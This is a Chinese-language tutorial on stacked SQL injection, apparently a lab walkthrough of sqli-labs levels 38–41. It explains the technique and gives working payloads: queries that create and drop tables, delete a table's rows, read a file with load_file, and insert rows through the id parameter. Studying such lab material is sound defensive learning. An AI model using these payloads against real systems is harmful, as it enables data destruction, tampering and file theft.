堆叠注入定义

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

1 堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

2 堆叠注入的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

Mysql 数据库

(1 )新建一个表 select * from users where id=1;create table test like users;

img

执行成功,我们再去看一下是否新建成功表。

img

(2)删除上面新建的 test 表 select * from users where id=1;drop table test

img

(3)查询数据 select * from users where id=1;select 1,2,3

img

加载文件 select * from users where id=1;select load_file(‘c:/test.php’);

img

(4)修改数据 select * from users where id=1;insert into users(id,username,password) values(‘100’,’new’,’new’);

img

img

Less-38

基于错误_GET_单引号_字符型_堆叠注入

img

堆叠注入需要依靠前文所写的各种注入方式来获取数据库的信息

38关与第一关一样;

?id=1’;insert into users(id,username,password) values(38,’less38’,’hello’)–+

img

Less-39

基于错误_GET_数字型_堆叠注入

和 less-38 的区别在于 sql 语句的不一样:img
也就是数字型注入,我们可以构造以下的 payload:

?id=1;insert into users(id,username,password) values(39,’less39’,’hello’)–+

Less-40

基于Bool_GET_单引号_小括号_字符型_盲注_堆叠注入

本关的 sql 语句为:

正常注入可以用脚本 Bool 盲注,或者手工盲注具体参考前面的文章。

堆叠注入如下:

?id=1’);insert into users values(40,’Less40’,’hello’)–+

Less-41

基于Bool_GET_数字型_盲注_堆叠注入

此处与 less-39 是一致的,区别在于 41 错误不回显。所以我们称之为盲注。

本关SQL语句:img

正常注入可以用脚本 Bool 盲注,或者手工盲注

堆叠注入如下:

?id=1;insert into users values(41,’Less41’,’hello’)–+